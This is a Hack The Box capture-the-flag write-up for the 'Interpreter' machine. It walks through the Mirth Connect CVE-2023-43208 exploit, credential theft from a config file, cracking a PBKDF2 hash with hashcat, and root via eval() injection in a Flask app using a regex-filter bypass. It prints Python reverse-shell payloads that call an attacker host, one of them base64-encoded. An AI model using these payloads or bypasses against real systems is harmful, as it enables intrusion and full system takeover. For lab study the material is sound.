Interpreter

Facts Machine Icon
Difficulty Medium
OS Linux
Platform Hack The Box
IP Address 10.129.7.73
← All Writeups

Summary

Machine Overview

Interpreter is a medium-difficulty Linux machine on Hack The Box that focuses on exploiting a vulnerable Mirth Connect instance and analyzing insecure Python code. Initial access is obtained through a known Mirth Connect remote code execution vulnerability, while privilege escalation involves abusing an unsafe use of eval() within a custom Flask application running as root.

Pentesting Process

Service Enumeration

The assessment began with a comprehensive service enumeration using Nmap to identify exposed services and their versions.

nmap -sC -sV 10.129.7.73

The scan identified three accessible services:

              
Nmap scan report for 10.129.7.73
Host is up (0.041s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp  open  http
443/tcp open  ssl/https
            

To simplify the assessment process, we mapped the target IP address to the domain name interpreter.htb by adding an entry to the /etc/hosts file.

Web Enumeration

The web server hosts a Mirth Connect instance:

Downloading the JNLP launcher file exposes the version of the Mirth Connect instance.

<application-desc main-class="com.mirth.connect.client.ui.Mirth"> <argument>https://10.129.7.73:443</argument> <argument>4.4.0</argument> </application-desc>

The target is running Mirth Connect 4.4.0 over HTTPS.

Initial Access

Mirth Connect 4.4.0 is vulnerable to a remote code execution (RCE) vulnerability identified as CVE-2023–43208.

A public proof-of-concept exploit is available and can be used to obtain initial access to the target system [1].

python CVE-2023-43208.py -u https://interpreter.htb -lh <ATTACKER_IP> -lp <ATTACKER_PORT>

The initial shell was upgraded to a fully interactive TTY using Python.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Database Enumeration

Following initial access, local enumeration revealed configuration files containing database connection details.

The file /usr/local/mirthconnect/conf/mirth.properties contains credentials for the backend MariaDB database.

cat /usr/local/mirthconnect/conf/mirth.properties

              
# options: derby, mysql, postgres, oracle, sqlserver
database = mysql

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

# database credentials
database.username = mirthdb
database.password = MirthPass123!
              

These credentials provide direct access to the Mirth database.

mysql -h 127.0.0.1 -u mirthdb -p'MirthPass123!' mc_bdd_prod

Database enumeration revealed the following user account:

select id, username from PERSON;

              
+----+----------+
| id | username |
+----+----------+
|  2 | sedric   |
+----+----------+
1 row in set (0.001 sec)
    

Database enumeration revealed a user account named sedric. The corresponding password hash was extracted from the database.

select * from PERSON_PASSWORD;


+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.001 sec)

    

The extracted hash was then analyzed and prepared for offline cracking.

Mirth passwords are stored using a Base64-encoded salted PBKDF2WithHmacSHA256 hash format. [2]

Hashcat can crack these hashes. Before attempting to crack the hash, we first need to understand its structure.

The hash structure is as follows:


Hash = Base64(Salt [8 bytes] + SHA256 hash [32 bytes])
          

The hash was decoded to separate the embedded salt and digest values.

Hashcat expects the hash in the following format [3]:


sha256:<iteration count>:<base64 salt>:<base64 digest>
          

The iteration count represents the number of times the hashing function is applied. The recommended value for PBKDF2WithHmacSHA256 is 600,000[4]. This value was used during the Hashcat cracking process.

The hash was reformatted for Hashcat and cracked using the RockYou wordlist:

hashcat -m 10900 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' /usr/share/wordlists/rockyou.txt

The password was successfully recovered as snowflake1.

The recovered credentials provided SSH access as the user sedric.

Post-Exploitation

After obtaining SSH access, local enumeration was performed to identify privilege escalation opportunities.

Process Discovery

Reviewing running processes revealed a custom Python application executing with root privileges.

ps -aux


root        3550  0.0  0.8  39872 32144 ?        Ss   Feb27   0:08 /usr/bin/python3 /usr/local/bin/notif.py
        

The process corresponds to a Flask application listening on 127.0.0.1:54321 and running with root privileges. Since the service is only accessible locally, SSH port forwarding was used to access it for further analysis

ssh sedric@interpreter.htb -L 54321:127.0.0.1:54321

Python Application Analysis

The application accepts XML patient records through the /addPatient endpoint and generates notifications, which are then written to a file on the system.

@app.route("/addPatient", methods=["POST"]) def receive(): if request.remote_addr != "127.0.0.1": abort(403) try: xml_text = request.data.decode() xml_root = ET.fromstring(xml_text) except ET.ParseError: return "XML ERROR\n", 400 patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient") if patient is None: return "No tag found\n", 400 id = uuid.uuid4().hex data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]} notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"]) path = os.path.join(USER_DIR,f"{id}.txt") with open(path,"w") as f: f.write(notification+"\n") return notification

The application filters patients data using a regular expression.

def template(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return "[INVALID_INPUT]" # DOB format is DD/MM/YYYY try: year_of_birth = int(dob.split('/')[-1]) if year_of_birth < 1900 or year_of_birth > datetime.now().year: return "[INVALID_DOB]" except: return "[INVALID_DOB]" template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}" try: return eval(f"f'''{template}'''") except Exception as e: return f"[EVAL_ERROR] {e}"

eval() Injection

User-controlled data is embedded into a Python f-string that is evaluated using eval().

Expressions enclosed within curly braces inside an f-string are evaluated as Python code. As a result, any injected Python expression enclosed within curly braces will be executed.

The application implements some restrictions on the input data. It uses a regular expression to validate the input.

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

Although input validation is present, the restrictions can be bypassed by constructing disallowed characters dynamically during evaluation. For example, strings containing space character are not allowed. We can use chr(32) to replace the space character, and eval() will interpret the expression and replace it with an actual space character.


'test 1234' --bypass_filter--> 'test'+chr(32)+'1234' --eval()--> 'test 1234'

Privilege Escalation

Command Execution

We send the following xml data to the server in a POST request to the /addPatient endpoint:

<patient> <firstname>ys4b</firstname> <lastname>{__import__('os').system('touch'+chr(32)+'/tmp/test1245')}</lastname> <sender_app>ys4b_app</sender_app> <timestamp>20260101_000000</timestamp> <birth_date>01/01/1912</birth_date> <gender>Male</gender> </patient>

This payload results in the execution of the command __import__('os').system('touch /tmp/test1245'), which creates the file /tmp/test1245.

The file was successfully created, confirming arbitrary command execution.

Root Shell

After confirming command execution, a reverse shell payload was prepared to obtain a root shell.

The payload is:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<ATTACKER_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

To create the file on the target machine, we reused the same technique as before. To bypass the filter, we encoded the payload in Base64.

<patient> <firstname>ys4b</firstname> <lastname>{__import__('os').system('echo'+chr(32)+'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjY2Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw=='+chr(124)+'base64'+chr(32)+chr(45)+'d'+chr(62)+'/tmp/exploit.sh')}</lastname> <sender_app>ys4b_app</sender_app> <timestamp>20260101_000000</timestamp> <birth_date>01/01/1912</birth_date> <gender>Male</gender> </patient>

The payload was successfully written to /tmp/exploit.sh.

To execute the script, we sent another POST request containing the following XML payload:

<patient> <firstname>ys4b</firstname> <lastname>{__import__('os').system('/bin/bash'+chr(32)+'/tmp/exploit.sh')}</lastname> <sender_app>ys4b_app</sender_app> <timestamp>20260101_000000</timestamp> <birth_date>01/01/1912</birth_date> <gender>Male</gender> </patient>

Executing the payload resulted in a reverse shell running with root privileges.

Mitigation

Remediation

The following remediation steps can help prevent exploitation of the identified vulnerabilities:

References

References

  1. [1] GitHub | CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE) Exploit
  2. [2] Mirth Connect GitHub | Mirth Default Digest Algorithm Changed
  3. [3] Hashcat | PBKDF2-SHA256 Expected Format
  4. [4] OWASP Cheat Sheet Series | PBKDF2-HMAC-SHA256 iterations count

Proof of Completion

Proof of Completion